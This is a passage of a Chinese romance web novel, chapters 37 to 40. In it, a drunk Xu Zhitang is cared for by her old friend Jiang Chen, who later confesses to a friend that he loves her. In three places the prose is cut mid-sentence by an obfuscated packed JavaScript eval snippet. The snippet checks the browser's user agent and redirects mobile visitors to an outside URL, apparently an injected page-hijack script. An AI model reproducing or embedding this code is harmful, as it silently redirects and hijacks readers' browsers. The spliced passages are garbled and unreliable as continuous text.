37. 第 37 章 蒋谌被两个人架在这里,有点郁结,像要被气笑,“不知道。” “不知道?” 明明就是小气,不愿意讲。 许知棠不懂,他怎么连这点程度的交心都做不到。都很多年前的事情了,哪怕当初追得屁滚尿流,又有什么大不了的?更何况只是暗恋,聪明人都只会当成一场笑谈。 什么事都不愿意跟朋友分享,显得好难接近。 她觉得蒋谌在别的事情上都很大方,唯独在分享心事这方面非常吝啬,显得他们感情一点都不深厚,不亲近—— 毕竟她可是什么事情都愿意跟蒋谌讲的,无论是上班听来的八卦还是自己身上的糗事。她就从不觉得这有什么。 如果他是个隐藏很深不敢出柜的gay,一切就都能解释得通了!可他偏偏说自己不是! 她又总是很愿意相信他说的话。 许知棠对这位已经同住了一段时间,但依旧保持神秘的朋友不太满意,“不知道是什么意思。到底为什么啊?” “啧,不知道就是不知道。”蒋谌一点都没有动摇,“查户口么?” “……”她不高兴地哼了一声,勉强打住,“不说就不说嘛,凶什么凶。” 她说完起身,拿着酒走人,去找别桌的朋友玩。除了不忿,还带着点小聪明。 她猜蒋谌只是不想跟她说,如果她不在,可能会跟姚一尧讲。 那她就走好了,大不了改天再迂回地找大姚哥打听一下。人为了八卦总是会变得格外机灵。 又喝了几圈,她晕得走不大稳了,才鬼混回来。此时此桌,正在讲的是姚一尧追女朋友的浪漫情节。 她一喝多酒就特别高兴,捧着脸边听边笑,仿佛十分憧憬,挤在蒋谌身边歪头叹气,“什么时候才能听到你的爱情故事啊,有生之年……” “睁着眼别说梦话。”蒋谌扶正她的脑袋,“差不多就回家睡觉。” 宵夜结束还有一半人去酒吧续摊,许知棠已经喝得脑袋发麻,再加上还有人监督,就说改天。连着拒绝了好几波的盛情相邀才推掉。 蒋谌去帮她拿外套,都得留一只眼睛在她身上,以防稍不注意她就又被人拉走。 不过她今晚上头太快,真喝得有点过量,连自己站起来都费劲。没有继续玩的心思,乖巧地留在座位上。 她今天穿来的是件西太后的毛衣斗篷,两边袖子不规则不对称。蒋谌没看懂怎么穿,套在她脖子上像印度飞饼一样转了两圈,找不清前后正反。 把姚一尧笑坏了,叫刚从洗手间回来的女朋友帮忙,“你俩这病情也是势均力敌啊。” 许知棠迷迷糊糊把衣服穿好,摸了下包里的粉饼,担心自己喝多了脸色不好看,“我也要去补妆。” “补什么?”又不再去玩。蒋谌说,“回家洗脸。” 许知棠觉得他语气不好,故意唱反调,“那我去尿尿总可以吧!” “……” “洗手间里不是很干净。”身边的女孩小声提醒,“刚刚好像有人喝多吐在地上了。” 她才没接着犯倔,“好吧……那我还是回去再尿吧。” 蒋谌说,“我送她。” 姚一尧的视线从许知棠转向他,脑子里飞快地闪过些什么,但来不及细想,就点点头说,“那行,我们先走,我代驾到了。” 午夜江畔的风裹着水汽,车座被浸得发凉。许知棠挨着车窗,头发被吹得乱七八糟还在跟人发微信。 她发了玩儿的照片给大洋彼岸的班长。电话很快就打过来,许知棠开心地对着手机大喊,“HappyHalloween宝贝贝!” “啊啊啊要死啊许知棠,你知不知道有时差!搞得我现在都无心上班。” 蒋谌也坐在后排,被她的镜头一起拍了进去。手机里的人双眼放光,定睛一看又感到遗憾。 出柜多年,是弯是直他一看便知。 许知棠被他的反应逗得哈哈大笑,很放肆地后仰,伸手摸了一把蒋谌的脸蛋,“怎么样?馋吗?” “……” “滚呐,别拿你的菜来勾引我。”班长说,“夜生活才刚开始吧,接下来去哪儿享受?” “已经结束了!”她再次大声地喊出口号,“接下来我要去蒋谌家尿尿!” “……” 蒋谌闭了闭眼,真的很想原地放弃自己的名字开门跳车。 司机师傅乐不可支,从后视镜里调侃她,“小姑娘讲话要文明喔。” “好的。”她听劝地改口,“接下来我将去蒋谌家里嘘嘘。” “是你旁边这位朋友吗?”听她一直念叨这名字好耳熟,班长往屏幕方向探头,离近了之后恍然发出一声尖叫,“诶,这不主人哥么?!” 虽然相隔甚远,他和许知棠一直是网上邻居。自己也从留学时就在做博主,粉丝已经有几十万,时不时还会在她直播间里刷点小礼物捧场。最近的梗自然不会错过,游弋于两人之间的眼神顿时变得暧昧可疑。 这一嗓子才把蒋谌的目光吸引过来,看清视频通话里那人的长相,略微怔住。 过目不忘的技能在此时发挥作用。蒋谌仍记得这张脸,记得在十年前的某个下午,许知棠和他手挽手在家门口的小公园一起散步吃冰激凌,肩膀亲密地紧贴。 脑海中放映回忆的屏幕像被一捧雪擦过,变成了清冽透亮的玻璃。蒋谌望进去,反射出的是他自己。是他充满稚气的不安和想象。 “原来是他。”蒋谌低声道。 许知棠刚应付完手机里烦人的调侃,本来想怪他怎么也不说句话,“嗯?你们认识?” 蒋谌说,“不认识。”只是单方面见过一面而已。 又不说实话。许知棠不知道他在打什么哑谜,哼了一声别过头,假装欣赏车窗外的夜景。不再追问,却还是有些气馁。 蒋谌是不是嫌她没见过世面,什么都不懂,才会懒得跟她讲太多? 她和蒋谌其实也就差一岁。只不过小时候他跳级太猛,才导致两个人的受教育程度差距明显。 她永远都比蒋谌晚一步了解这个世界。所以蒋谌看待她,就不是看一个比自己小一岁的女孩,而是以一个中学生看小学生,大学生看中学生的眼光看她。 可是现在,她已经成人很久,也有了好几年的工作经验。她明明就很成熟了,为什么蒋谌还是一副觉得她什么都不懂的样子? 她想了一阵,认为这个人未免也太过于自大,拉着脸,“你是不是永远都只会把我当小孩看!” 还没等蒋谌回答,她又变了脸,笑眯眯道,“以后还可以把我当小猫咪看。” “……” 算了,不跟他一般见识。 虽然都是成年人了。但是在她心里,也觉得蒋谌是个更高级的大人。 更何况,小猫咪怎么会跟人类计较呢。 “快到家了,再坚持一下别耍酒疯。”蒋谌怕她醉醺醺撞到头,把她往身边拉近了一点,停顿后道,“我没把你当小孩看过。” 许知棠靠着他闭上眼睛,不相信,“骗人的。” “骗小猫的。”他说。 那不还是一样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974990|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她刚要开口,胃里忽然翻上来一阵恶心,连忙闭嘴。 灌入车里的江风带着腥味。她明明闭上了眼睛,却好像还是能看见楼体上的灯光,螺旋变换,忽明忽暗,倒影在江面被波浪晃乱,扭曲。 分不清是晕车还是喝醉了的,出租车一停,她推开门就往外跑,到家冲进洗手间里狂吐。 刚刚喝得那么开心,这会儿自食苦果。蒋谌在外面等了十分钟,听着抽水声响三四遍,敲门进去,看见她抱着马桶坐在地上,潦草洗过的脸刘海都打湿了,一副可怜样。 “还能站起来吗?”她吐得浑身脱力。蒋谌扶她都扶不起来,索性抬起腿弯,端盆似的直接抱回房间。 “不,不行,别动我……” 她虚弱地抗议,声音微弱。蒋谌没听清她在嘀咕什么,把人放到床上,想去倒杯水来,一转身听到她又呕了一声,趴在床边吐得一塌糊涂。 “我就说不回房间……”她扯着遭殃的床单擦了擦嘴角,奄奄一息地翻了个身,像条瘫痪脱水的鱼,“我还没吐完呢……你非要把我搬回……” “过来。” 她刚把床糟蹋了,有些心虚,一点点挪过去。蒋谌坐在床尾,翻到她手腕内侧,找到内关穴,指腹按压打圈揉了三分钟,“还想吐吗?” “不了。”她老实回答。 蒋谌拎着她一只胳膊把人带下床,“先去隔壁躺着。” “哦……”许知棠颇感意外,但顺从地下床,摇摇晃晃跟他走。 她住进来这么久,还是第一次进蒋谌的卧室。好奇心完全压过了酒吐的难受,四处打量,“你房间里还有投影?!这你都不邀请我来玩!” 控诉的眼神好像他是个吃独食的坏蛋。 “我都没怎么用过。”蒋谌找出遥控器,“要看什么?放个动画片?” “不要。给我找个爱情片。” 许知棠试探着坐到他床上,确认他不会翻脸以后立刻放肆了,倒下去滚来滚去胡言乱语,“我要看《暮光之城》,我要看《浪漫满屋》!我要看美女和帅哥亲嘴!” 蒋谌:“开始发酒疯了是吗。” 他懂个屁。许知棠知音难觅,心里很是苦闷,“你不知道,这种时候正常人会有多想念男朋友。你骂我吧,你把我手机收走!你不知道他身上热乎乎的冬天抱起来有多舒服!呜哇啊啊啊我太没本事了管不住自己的脑子!” 蒋谌冷着脸不为所动地走开,任由她在床上干嚎,倒了杯温水过来放在床头柜上,“臭烘烘的别乱蹭。” “哦,好的。”许知棠停止打滚,坐起来开始脱衣服。 外衣外裤全扔在地上,她以迅雷不及掩耳之势脱得只剩件贴身的吊带,钻进他被子里深吸一口气,仿佛晕头转向,“你床上好香啊。” “……” 蒋谌也很需要深呼吸,冷静下来把遥控器丢给她,捡起地上的衣服,去隔壁给她收拾一塌糊涂的床。 没人搭腔,她自己很快就闹不动了,安安静静地裹着被子挑选电影。 半小时后蒋谌回来,投影仪正在播放的是《大闹天宫》,“怎么看这么老的片子?” 她嘀咕,“不是你让我看动画片的么。” 蒋谌笑了一下,坐在床边把手上的热毛巾对折,盖在她脸上,“喝醉了会比较听话吗。” “没有醉了……我已经把酒吐完了,现在清醒得可以做高考题。” “是么。”他动作很轻,一点一点地擦,“lg100等于多少?” “……” 许知棠说,“讨厌你。” 38. 第 38 章 其实一点也不讨厌。 她还有点想哭。 除了父母,只有陶悦和何松砚这样照顾过她。 她刚刚跟陶悦发微信说想前男友,意料之中地被骂了一顿老实了。但她还是有进步的,至少她是跟陶悦说,而不是直接找何松砚丢人。 许知棠想,或许她也只不过是缺个陪伴的人,不一定非要是恋人。 因为有蒋谌在她旁边,一起说说话,哪怕是拌嘴,她就不再像以前那样觉得寂寞难熬,非要回头复合不可。 蒋谌给她擦完脸,叫她往里挪挪,靠着床头坐下,回家忙到现在才能消停歇会儿。 她就又歪着脑袋,自然地靠过来。想起小时候父母都上夜班,总会去他家一起看动画片,还会窃喜可以看到很晚。一点也不觉得没有大人陪,自己是个可怜的小孩。 因为有蒋谌,无论什么时候去找他都会在家。夏天给她留冰西瓜,冬天给她煮芋圆糖水,下雪的时候还可以趁家长不在偷开空调,一起挤在电视机前热热地吃上一大碗。 这么多年过去,各自经历了许多事情长大,兜兜转转居然又和他在这里…… 许知棠脑海中冒出一个词。 相依为命。 “我上个月刚来这里的时候,谁也不认识,就认识你。”她喃喃地说,“现在我已经过得很好,有很多朋友了。可是你刚到这里的时候……十几岁,一个人在这里,蒋谌,你是怎么过的呢?” 蒋谌拿起遥控器调小了音量,“我在上学。” “……” 更可怜了。 许知棠叹气。 蒋谌不懂她怎么露出这种怜悯的表情。他没有觉得在陌生城市里求学和工作很累,很辛苦,很孤独。千千万万的同龄人都在经历一样的事,他也没有多特殊。 “可是我觉得,像你这样的人,去到哪里都会有一堆人围着才对。”许知棠说,“你这么心高气傲的,难道还能指望你主动去交朋友呀?” “我心高气傲?”蒋谌怔了怔,“那是以前吧。” 毕业离开了校园,接触到的人群越来越庞杂,见识到的世界越来越广阔。无论从家世背景,能力财力,各方面超过他的都数不过来。 时间都得用在正事上,偶尔有点独处的空闲只想休息,没什么心思去交朋友。 他从小就被身边的人视为学霸,天才,可这世上的天才太多了。就像灵根出众的凡人,承载了全村的希望,一路过关斩将修炼成仙,好像有多超凡脱俗,屈指可数。 最终却成为围剿孙悟空的十万天兵中的一员。 然后认清自己,终究不过是个普通人。 “你一点也不普通!你是特别特别的人。”许知棠激动得一个打挺,坐起来大声说,“孙悟空是全世界只有一个的孙悟空,你也是啊!蒋谌也是全世界只有一个的蒋谌!” 她喝得脸红声软,气焰倒是嚣张,像在颁布号令。蒋谌被逗笑了,他居然跟一个醉鬼聊人生哲学,“嗯,对。许知棠也是全世界只有一个的许知棠。” “哼哼,那当然。”知音难觅。许知棠满意,“还是你懂我。难怪我们两个玩得最好。” 张口就来。 蒋谌想她到底跟多少人“最好”过。只这一个晚上,被她叫宝宝的人一双手都数不过来。 “真有那么好吗?”他声音不高,也不愉快。“做选择的时候,还是可以说不要就不要的。对吧。” “诶呀,不是的。”许知棠听他又开始旧事重提,脑壳有点疼,“我没想到……我没有不要你。” 她纠结了一会儿,实在找不到别的理由来佐证,终于下定决心,“好吧,我要告诉你一起非常严肃的黑历史事件。你不能嘲笑我。” 居然还有意外收获。 蒋谌正色道,“说吧。” “是高二的时候。你说要出国读研了,我就想在你走之前去找你玩一次。”许知棠说,“寒假还没开学呢,我想吓你一跳,就直接去你家里了。但你没在家,你姑姑说,你正在申请美国的那个什么大学呢……不能分心。” “我坐了二十多个小时的火车才到的,屁股好痛,又很丢脸,我还背了两大罐果酱给你呢!是我爸爸做的。还有云川小超市才买得到的零食,可是我见都见不着你……气得我回程路上全吃光了。” “我把零花钱都带上了,还问我爸要了明年的压岁钱,想跟你一起在京市玩几天的。结果没有玩成,就把回去的票换成了卧铺票,躺着吃了一路的零食。等到家还吃积食了,半夜肠胃炎让我爸扛到医院打点滴。” “陶陶去医院陪我,还骂我没出息!她说,说人家不愿意跟你玩就算了,你找别人玩嘛,还千里迢迢上门去找罪受。白折腾一圈,把自己搞得悲惨又可笑。” 她回忆起当时的心情,又伤心起来,“我手都扎肿了!输了三天,我疼死了!都是因为你!” 她从被子里拔出手臂,在蒋谌面前展示了不存在的瘀血的针孔,要求他脑补当时的惨状。 “可是我都没有怪你。好吧,可能有一点点,但是绝对没有怪你很久。因为我知道,你很需要出国的机会,所以当然全力以赴,没时间玩。我知道你做的是对的。我怎么会影响你,怎么会想把你带坏?我们可是朋友,我也希望你能好的啊……我也希望你能自由。” 蒋谌抹不完她的眼泪,哑声道,“别哭了,我明白了。” “你才不明白。”许知棠情绪有一点崩溃,“你还怪我呢!你把我当成什么人了,根本就不知道我多难过……我这么体贴,善良还大方!你去哪里找像我这么好的朋友!” 虽然相距很远,她依然能感受到蒋谌被困住,被困在一份“必须有出息”的枷锁里,活得负担很重。 所以她想,去国外就好了,就像她班长那样。物理上的距离是有用的,远离了束缚,就远离了痛苦。 即便同时还要远离她。即便以后还是一年才能见一次面,甚至几年见一次也不要紧。 她只会祝福,只会为他感到高兴。 “嗯,你是个大方善良体贴的好姑娘。”蒋谌简直像没脾气似的,肯定道,“是我太小气了,才会这么记仇。” 许知棠哭饱了,打了个嗝,点点头说,“本来就是这样。” 蒋谌失笑,“手放进去。” “哦。”她最后抹了一下眼睛,把手缩回被子里。 动画片里打得锣鼓喧天,天兵天将将猴王围困。蒋谌终于想通,把一切都联系起来。 假期学校寝室封闭,他不爱在家待着,基本不是去图书馆就是网吧。没想到会错过许知棠来找他。 他那时材料都提交完了,只等结果,根本就没什么分不分心的。蒋书敏是怕他被许知棠绊住,不想出国,才会出手干涉。 却反而让他清醒,以更决绝的方式分割。 他曾经告诉许知棠,等高考结束就好了。后来要去留学,就又告诉她,等大学毕业就好了。可其实好不了的。 大学毕业后要读研,结束了学习就是工作。接着什么时候结婚?什么时候要孩子?什么时候生二胎?养老院选哪里?烧成灰以后埋在哪座山?如果要接受安排,一辈子都好不了,只有到死才能消停。 是因为许知棠忽然离开,他才提前想明白这一切。既然迟早要听自己的,不如趁早。不如就在当下。 放弃留学,放弃数年来的学习成果,选择另一条全然陌生,却也全然由己的道路。 算来算去,只好算成一场命运的阴差阳错。 “所以高中是真的没谈恋爱。”蒋谌轻声说。 “对啊。都告诉过你了。” 许知棠听着吵闹的锣鼓,有点困了,不知道神游到哪里,口无遮拦地问他,“蒋谌,你以后想埋在哪儿啊?” “……” “我想跟我爸爸妈妈埋在一起。”她说。 她最近时常想这个问题。 等她脱离了这具人类的身体,变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986665|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回小猫,“许知棠”是会消失,还是立即死亡? 无论哪种,她的朋友们一定都会很难过。 “爸爸临走之前给我存了一笔钱,我一直没有动过。”许知棠小声说,“账号和密码我都写下来了,在我房间的床头柜抽屉里。如果我的身体死掉了,你把我送回家好吗?用那笔钱帮我安排后事,剩下的都给你当辛苦费。” 蒋谌心头发涩,摸了一下她的头发,说,“好。” “你呢?”她又问。 蒋谌说,“我可能会埋远点。” 他考虑了一下,自己并非完全没有兴趣爱好。也想过等挣够了钱退休,就去地球的另一端看看。 赤道国家有神秘的热带雨林和壮观的火山群,国家地理去南极的科考船每年都有名额。他或许就死在半路上,随便埋在哪个陌生国家里没人知道。 许知棠抬头看了看他,很意外他怎么会有这么孤独的想法。没有预设伴侣,甚至没有朋友。 “为什么要等快死了才去,现在也可以去啊。”她说,“你又不穷,不缺路费。假期去旅游多好,现在年轻力壮有精力玩。” “再等几十年,说不定腰椎间盘突出,飞机都要坐不动了,这里疼那里疼的,还能去哪里呢?人生就只活一次诶,每天都是最年轻的一天。” 蒋谌听着她自言自语似的念叨,“对了,你有没有看到过,前阵子网上流行去那个火山打卡,在印尼,据说火山口能看到很独特的蓝色火焰。” “还有亚马逊河上的粉色河豚,虽然长得很像海豚,其实很凶猛,连食人鱼和电鳗都能吃掉呢。到底亲眼看到会是什么感觉呢?你帮我去看一下好吗?” 蒋谌说,“你不和我一起去吗?” “你想和我一起去?”许知棠开心了一下,又有些茫然,“我不知道……” 生命进入未知的倒计时,有些事她终于能放下了,又额外滋生出不舍。 或许她来不及去那么多地方,也有很多心愿没机会完成。 “一起去比较好玩吧?会有机会的。” 他说,“许知棠,我没有很多朋友,只有你一个。” 许知棠愣了一下,就全都明白了,眼泪又在眼眶里打转,有点后悔刚刚那一通埋怨,“对不起啊。我以为你认识了很多别的朋友,就不在乎我了呢。我以后……再也不会跟你绝交了。” 知道蒋谌也为分离难过,她就不会再怪他记仇了。 她还有点高兴。他没有把曾经的友情看轻。 “无论如何都不会了吗?”蒋谌问。 “嗯。永远都不会。” “好。”蒋谌放低枕头,关了主灯。只有动画片的灯光还在两人脸上闪烁,“今天还要不要拍你睡?” “好哇。”许知棠满足地闭上眼睛,放松后背。 片尾曲放映时,她已经进入婴儿般的睡眠。 一张安稳又甜蜜的脸。 她根本就没有什么可对不起的。 蒋谌心里很清楚,她没有做错任何事。 所谓的记仇,只是他在希望,希望她能有一点对不起他的地方。 希望她能有个什么小把柄,被他握在手上。 紧紧地,牢牢地握着。 别再松开了。 凌晨一点,蒋谌从烘干机里拿出床单,抖开时掉出一根细细的发圈。 他撑开弹力绳,发圈在他手腕上箍紧,脉搏强烈地跳动。即使摘下,也留了一圈鲜明的印。 阳台的窗未关紧,还是有夜风从缝隙里吹了进来。他抬头望见星光漫天。 明天会是个大晴天。 天亮之前,他在沙发上坐了很久,拿起手机打给姚一尧。通话很快就被人接起,睡意朦胧地喂喂两声。 他说,“我喜欢许知棠。” “……说什么?”姚一尧怀疑是自己发梦,“你再说一遍……谁?” “你耳朵没问题。” 蒋谌挂断,“睡了。” 39. 第 39 章 日上三竿,许知棠醒来还是一身酒味。 蒋谌早就去上班了。她躺在陌生的房间里懵了一会儿,爬起来找手机,里面塞满陶悦的消息。 她有拍摄行程要回云川,今天下午的飞机。看朋友圈就知道她昨晚玩得有多嗨,陶悦有预感她可能会误机,提前发消息叫醒她。 “再不回消息我就要打给蒋谌找你了。昨晚到底几点睡的?” “不记得了……”她在被子里伸懒腰,“好像也没有很晚吧,大闹天宫都没看完呢。” “什么大闹天宫,赶紧醒醒。行李箱弄好了吗?” 完全没有。 看剩下的时间还来得及洗个澡收拾一番,许知棠懒洋洋地爬下床,“回云川我还带什么行李啊,家里都有。大不了去你那里蹭吃蹭喝,很方便嘛。” “懒的你。”陶悦说,“我替你问了,剧组在景区外面订了酒店,那地方可离你家我家都还有百十里呢。估计你收了工也没力气跑来跑去,就老实待在酒店得了,我抽空过去看你。” 拖了近一个月,她接的汉服商单拍摄换了企划。从简单的棚拍变成有实景和剧情的小短片,去云川郊外的景区拍明年春季即将上新的成衣。 是去工作不是玩,模特整天要穿样衣,随便几件贴身的衣服就行。 许知棠洗完澡出来,用剩下的时间把蒋谌床上的一切拆洗干净,散尽卧室里的酒味,再喷点好闻的香水。 平时都不让她进来玩,喝醉了竟然愿意给她糟蹋。 令人感动,必须报答。 忙活半天,去机场的路上她才抽空给蒋谌发了个微信,说要出差。 【去几天?】 许知棠想了想,不太确定。 【应该要个五六天吧】 【谢家河你还记得吗?小时候家属院里的】 【他下周日办婚礼,份子钱我都随过了,准备顺便去吃个席】 【已经出发了?】 【餐桌上有解酒药】 【我看到了!和粥一起吃掉了】 【现在正在回云川的路上[图片]】 【好】 【工作顺利】 【好嘟!】 这一天的聊天就此结束。 许知棠嘟完之后再也没给他发过微信。 晚上十点,蒋谌下班到家。迎接他的是一室寂静。 其实许知棠有时在棚里拍到很晚,他回到家也是没有人的。 但就是不一样。不知为何,他能很轻易地区分空气中寂静的区别。 睡前他看着依然停滞的聊天记录,心想她一定很忙。 许知棠回云川的第二天,一条消息也没有给他发。 第三天也一样。 卧室里的香水味很淡了。蒋谌找出她送的那瓶又喷了两泵。 床单和枕套都是她亲手洗好换过的。他睡了两晚,已经分不清是谁的味道。 蒋谌反复打开手机,却又找不到合适的话题可说。心里像有小猫在挠。 他想许知棠就是这样的,跟谁离得近,就跟谁玩得好些,联系多些。全世界的人都是这样。 而她现在人在千里之外的云川。 云川,云川。 云川有个谁在那儿,他还能不知道吗。 她回云川那么积极,除了热爱工作,还有没有想见的,别的人? 蒋谌回忆起她说的什么“你不知道我男朋友抱起来热乎乎的有多舒服”,对着天花板发出一声嗤笑。 能有多舒服。 他也是热的。 大冬天的要是不热,人还能有气儿吗?这有什么值得拿出来说的。 可他又想到许知棠说的,一个人千里迢迢地跑去找他。找不到他,回家又肠胃炎,输液输得手都扎肿了。真可怜。 她从小就讨厌在医院过夜,还要输那么多药水,又疼又冷,肯定哭得满脸都是眼泪。 那是为他流的眼泪。 和她见过何松砚以后流的泪,味道是不是不一样? 月黑风高夜,蒋谌躺在床上,毫无困意地思考这个问题。 为什么他和她总是相隔那么远呢。 零点将过,姚一尧打给他问,“这周末忙不忙?明天下班出来喝酒啊,我朋友新开了家清吧。” 蒋谌翻身坐起,仿佛下定了某种决心。 “不忙。” 周五晚高峰,酒吧里客座还不算满。蒋谌下了班直接过来,在调酒台和他碰面,跟老板寒暄了几句落座。 姚一尧给他倒酒,兴奋的目光已经直射出来。 “我还在那儿像个傻子似的感慨什么样的神人能被你看上,转头你跟我说是许知棠??” 他这几天闲着没事都要琢磨。 怪不得,怪不得。 那天晚上他脑子里分明闪过点什么,但是急着走就没仔细想。 怪不得问他喜欢什么样的,在那装糊涂说不知道。原来正主就在旁边坐着呢! 越想越有味,姚一尧记忆力大爆发,最早甚至能追溯到家属院。 他记得那时叫蒋谌出去玩儿,总被拒绝,就是因为要给许知棠辅导作业。 那时候还吐槽他天天帮着大人带孩子有什么意思。但蒋谌说,你不知道她多好玩儿。 一定是从那个时候就埋下了伏笔! “有什么可惊讶的。”蒋谌镇定地喝了第一杯酒。 “看来我一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003611|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以来的思路都是错的。”姚一尧啧啧称奇,“我还以为你谈的女朋友会是那种高冷知性大美女,律政俏佳人。” “你找对象专门照着性转版的自己找?正常都很难喜欢跟自己太相似的人。”蒋谌说,“我也没那么自恋。” “诶对对对,”姚一尧向来捧场,乐呵呵地再倒,“随成想呢,反耳是想啃一口小青梅!说吧,要兄弟怎么帮你。” 许知棠看着就是爱玩的性格,又漂亮又开朗,追求者肯定不在少数。肯定也得整出点花样来,才能被另眼相看。 他这兄弟就占了点认识早的先机,哪儿懂怎么谈恋爱啊。那送花得选什么种类的,送口红买什么色号都是学问,能送得明白么?还不得他来亲自辅导。 “不用。”蒋谌轻描淡写地喝下第二杯,“她现在住在我家。” “……” 姚一尧的目光从震惊到敬佩又到同情,“……你还没跟她说吧。” 怎么说。 蒋谌摇头,“不好让她知道。” 没办法,他头脑太过清醒,很难再欺骗自己不喜欢她。 但他没想过告白的事。 许知棠单纯是把他当朋友处,对他没那个意思。万一让她知道,还要跟他住在一起,肯定会很不自在。 说不定还会因为这个,不愿意跟他继续住了。 她在这里是有了些朋友,但时间太短,不足以深交,最好的姐妹也照顾不到这么远。 万一连跟他的关系也闹僵了,她一个人该怎么办呢?总是让人不放心的。 “哎,你别喝这么猛啊,夜生活才刚开始。”姚一尧又给他倒上,看他拿起第三杯又是一饮而尽,卧槽了一声,“你急着干什么去?” 蒋谌笑了,推开酒杯起身,扯松领带,“寻衅滋事。” “……啊?你这就走了?”姚一尧满头雾水,看他从坐下到离开不过半小时。“下周见。” 蒋谌买了今晚回云川的机票。 临时过来满足一下朋友的好奇心,当作是半夜把人叫醒直抒胸臆的补偿。 他今天问了许知棠住在哪,非常顺利地得到了酒店的地址。 她根本毫无戒心。 除此之外,小猫咪通常还意志不坚定,容易被人类诱惑。 他作为朋友,同居对象以及共同出现的小说里的男主角,都应该伸出援手,帮她悬崖止步,别再重蹈覆辙。 虽然不能告白,但他还有很多别的事可以做。 比如以援手之名搞搞破坏。 蒋谌良心一点都不痛。 多年未见的初恋忽然出现,不过几天,就被他趁虚而入地拐带回了家。 他难道能是什么好人。 40. 第 40 章 春季汉服大多单薄,在不到十度的天气里拍摄,能让身体不抖都是个技术活。更不要说还得表情管理。 好在拍摄期间天气晴朗,阳光照耀,许知棠十分感恩。 外景和棚拍不同,条件差点,但活儿很有意思。甲方还专门请了编剧跟组,教大家怎么配合衣服的设计主题进入情绪,感觉像在拍宣传电影。 剧情不复杂,师出同门的几人从相识到反目,再到共同御敌保卫家园,根据不同阶段的主题搭配了不同的汉服。 许知棠扮演小师妹,有四套造型,从初期天真烂漫的鹅黄青绿,到后期黑化时穿的黑金描红。每一件都很美,她每天出妆都先对着化妆镜咔咔拍照,准备等杀青后择优挑选,发九宫格朋友圈。 也是拿到女演员限时体验卡了。她还从没接过这种带剧情,且需要一点演技的工作。组里其他女演员更有经验,工作间隙总会友善地教她。 另外两个女孩都是百十来万粉丝的大网红,拍摄时甚至会有粉丝来探班。许知棠看到有一点羡慕,心理落差难以避免。 但第二天陶悦就来探望,她就立刻又高兴起来。 “你压根也没跟粉丝报备行程啊。”陶悦听她讲了小小的失落。“大家都不知道你在拍戏,去哪里探你班嘛。” 原来如此。 许知棠豁然开朗。 “等你咖位涨起来,有私生粉偷偷打听行程来搞事,说不定你还要苦恼呢,又觉得现在好了。”她又说,“再享受一下最后的清静时光吧。” 她在别人面前可没这么好的耐心,甜言蜜语地提供情绪价值。 许知棠听美了,还想她再多说几句。恰好蒋谌的消息也发过来,问她工作进展如何。 【很顺利!】 【[表情包]】 【好】 【你住哪?】 【给你点个宵夜以示鼓励】 还有这种好事。 许知棠想也没想就把酒店地址发过去,继续跟陶悦讲话,“明天谢家河的婚礼你去吗?” “没空。反正份子钱已经给了,我跟他又不熟,去不去都一样。”陶悦挑了下眉,“不过我听说,何松砚何医生会去。” 小时候住家属院的有一大半都进了当地的医疗体制内,前前后后人都认识个差不多。 许知棠自然想到他会去。如果不是彻底分手,原本应该是两个人一起出席的。 她已经订了周末晚上回海市的机票,不想为此改行程,撇着嘴说,“他去他的,我去我的。” 看她的样子是没什么留恋的。陶悦放心了,“好。我这几天都在云川,有问题随时跟我说。” “啊?你在干嘛不跟我去吃席啊。”许知棠正愁一个人去参加婚礼有点尴尬,“陪我一起去。” “真没空,我忙着约会呢。”陶悦掏出气垫补了补妆,“尝到老男人的甜头了,省心得很。周六约了我去他山庄里打球钓鱼,什么都安排好了,我爽约岂不是很扫兴。” “有多老?”许知棠震惊,但不是震惊在她换对象的速度,“你不谈弟弟了?” “四十出头,正是经过岁月沉淀魅力四射的年纪。”陶悦也吃得很美。连带着最近心情都不错,飞给她一个吻,“偶尔换换口味。走啦。” 许知棠一脸敬佩地目送她离开,也补好妆,继续投入拍摄。 她现在很少想起何松砚了,恋爱几年来第一次戒断得这么顺利。 一开始是用“我是小猫我会变回小猫”的想法循环来定心。慢慢的,她自己喜欢的事业有了起色,忙起来也就顾不上再悲春伤秋了。 跟他几乎形影不离的六年时光,不过才隔了一个月,却好像是上辈子的事。 她从未有过这样享受单身生活的时候,甚至觉得自己有点像那些离完婚又出来工作的女明星,状态刷新后工作出奇的顺利。 只是在看到陶悦神采飞扬地恋爱时,心底难免还有一点隐秘的向往。 傍晚的鎏金时刻,霞光烧得热烈。许知棠也快杀青了。 旁边有小孩在玩滑板车,追着光的影子穿来穿去。她想起上次跟蒋谌在公园,也看到别人在玩滑板,有点心痒。 